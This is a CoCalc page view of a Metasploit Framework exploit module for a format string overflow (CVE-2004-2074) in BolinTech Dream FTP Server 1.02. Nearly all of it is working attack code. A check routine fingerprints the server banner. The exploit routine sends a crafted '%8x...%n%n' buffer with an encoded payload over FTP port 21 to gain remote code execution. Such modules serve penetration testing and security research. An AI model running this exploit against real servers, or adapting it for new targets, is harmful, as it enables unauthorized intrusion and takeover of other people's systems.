CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/dreamftp_format.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
14
'Description' => %q{
15
This module exploits a format string overflow in the BolinTech
16
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
17
},
18
'Author' => [ 'aushack' ],
19
'Arch' => [ ARCH_X86 ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2004-2074'],
24
[ 'OSVDB', '4986'],
25
[ 'BID', '9800'],
26
[ 'EDB', '823']
27
],
28
'Platform' => ['win'],
29
'Privileged' => false,
30
'Payload' =>
31
{
32
'Space' => 1000,
33
'BadChars' => "\x00\x0a\x0d",
34
'StackAdjustment' => -3500,
35
},
36
'Targets' =>
37
[
38
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
39
[
40
'Dream FTP Server v1.02 Universal',
41
{
42
'Offset' => 3957680, # 0x3c63ff-0x4f
43
}
44
],
45
],
46
'DisclosureDate' => '2004-03-03',
47
'DefaultTarget' => 0))
48
49
register_options(
50
[
51
Opt::RPORT(21),
52
])
53
end
54
55
def check
56
connect
57
banner = sock.get_once
58
disconnect
59
if (banner.to_s =~ /Dream FTP Server/)
60
return Exploit::CheckCode::Detected
61
end
62
return Exploit::CheckCode::Safe
63
end
64
65
def exploit
66
connect
67
select(nil,nil,nil,0.25)
68
sploit = "\xeb\x29"
69
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
70
sploit << "@@@@@@@@" + payload.encoded
71
sock.put(sploit + "\r\n")
72
select(nil,nil,nil,0.25)
73
handler
74
disconnect
75
end
76
end
77
78